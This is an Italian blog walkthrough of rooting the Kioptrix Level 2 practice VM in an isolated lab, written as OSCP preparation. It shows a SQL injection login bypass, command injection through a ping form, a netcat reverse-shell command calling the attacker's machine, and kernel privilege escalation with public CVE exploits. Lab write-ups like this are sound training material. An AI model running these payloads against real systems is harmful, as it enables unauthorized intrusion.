Vai al contenuto
Home » Getting Root: Kioptrix livello 2

Getting Root: Kioptrix livello 2

Il secondo livello di Kioptrix non presenta particolari difficoltà. Fa parte di
quelle macchine che sto usando per ricostruire l’autostima in vista della
prossima OSCP.

Kioptrix Livello 2

Continuiamo la serie Kioptrix ed arriviamo al livello 2 disponibile
qui.

Anche questa macchina virtuale è un box Linux su cui è montata una
distribuzione CentOS obsoleta.

Setup dell’ambiente

Per iniziare, ho scaricato la versione corretta della macchina
virtuale
. La prima versione
aveva infatti un bug nella web application. Ho lasciato configurato
VirtualBox affinché esegua la mia Kali
Linux
e la macchina target in una rete ad hoc, isolata
dal mondo esterno.

Questo si ottiene andando sulle preferenze di Virtual Box, selezionando
Network ed il tab Host-only networks.

"Impostazioni

Ora che tutte le macchine, all’avvio, prenderanno un indirizzo sulla 192.168.56
possiamo partire.

La macchina 192.168.56.101 è una Kali Linux aggiornata e pronta all’uso.
La macchina 192.168.56.103 è il nostro target.

"La

Recon

Il primo passaggio è quello di enumerare i servizi in ascolto sulla macchina,
per cercare di capire qualcosa in più.

# nmap -sV -O 192.168.56.103 -oA 192.168.56.103
# Nmap 7.50 scan initiated Mon Sep 11 17:28:58 2017 as: nmap -sV -O -oA 192.168.56.103 192.168.56.103
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.00024s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 08:00:27:87:1E:A6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 11 17:29:14 2017 -- 1 IP address (1 host up) scanned in 16.05 seconds

E’ stato lanciato anche un dirb, che però non ha trovato cose interessanti.

Takeover narrative

Cercando con searchexploit, qualche exploit già pronto per le versioni
rilevate abbiamo che per CUPS c’è qualcosa che possa darmi una shell, mentre
per Apache solamente un DoS.

Navigando sulla porta 80, ci viene presentato una maschera di login di uno
pseudo portale amministrativo.

"Login"

La pagina di login era facilmente bypassabile usando la combinazione di
credenziali admin:foo or ‘1’=’1.

"Login

Una volta autenticati, ci viene presentata una maschera che ci permette di
eseguire un ping su un indirizzo ip passato come parametro. Questo genere di
funzionalità si presta spesso a problematiche di command injection, quando
l’input non è validato correttamente.

Infatti, usando il carattere ‘;’ come separatore, siamo in grado di far
eseguire il comando id.

"Command

Una shell non privilegiata sulla macchina fa sempre comodo come primo
risultato, che ne pensate?

Bene, su una finestra di terminale, ho lanciato netcat in ascolto sulla porta 443 e poi ho cercato di fare una callback alla mia macchina.

$ nc -lvnp 443

Perché uso la 443? Preferisco usare porte di servizi conosciuti, per evitare
problemi con eventuali firewall. Servizi come 21, 53, 80, 443 in uscita da un
indirizzo IP, possono essere dei buoni candidati.

Dopo un po’ di tentativi di indovinare il path di netcat, sulla macchina
target, sono riuscito ad ottenere la mia shell col comando 192.168.56.101; /usr/local/bin/nc 192.168.56.101 443 -e /bin/sh

"Reverse

Da dentro, il primo obiettivo è capire bene di quale distribuzione si sta
parlando e soprattutto quale la versione del kernel. Questo ci permette in
seguito di cercare l’exploit migliore per elevare i privilegi della nostra
shell.

"CentOS

$ uname -a

Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

$ lsb_release -a
LSB Version:	:core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID:	CentOS
Description:	CentOS release 4.5 (Final)
Release:	4.5
Codename:	Final

Cerco quindi exploit per CentOS 4.5 e sono abbastanza fortunato.
"CentOS

Visto che le macchine, per come è stato creato il mini laboratorio, non escono
su Internet direttamente, carico gli exploit nella mia /var/www/html e
usando wget li prelevo dal target.

Provo prima l’exploit per il CVE-2009-2698 ma, una volta caricato fallisce.
Niente shell di root al primo tentativo.

"CVE-2009-2698

Provo quindi con l’exploit per il CVE-2009-2692 e questa volta, dopo aver compilato e lanciato l’exploit ho più fortuna: sono root.

"CVE-2009-2692

Ho cercato un po’ in lungo ed in largo la flag di questa macchina ma non l’ho
trovata. Probabilmente l’autore non l’ha messa.

Spinoff

Andando a vedere il codice sorgente di /var/www/html/index.php è possibile ottenere la password di MySQL dell’utente john.

"index.php

"MySQL

E connettersi con successo al database MySQL.

"MySQL

Andando più a fondo è stato possibile trovare le hash delle password degli
utenti del piccolo portale.

"Application

Ed infine è stato possibile risalire alla password di root su MySQL che è
hiroshima.

"MySQL

Off by one

Anche questo livello 2 di Kioptrix non ha presentato grosse difficoltà. Resta
il punto aperto del perché l’exploit per il CVE-2009-2698 non abbia funzionato,
ma non ho investigato nel dettaglio, visto lo scopo di queste esercitazioni.

Il livello 3 di Kioptrix mi aspetta.

Enjoy it!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.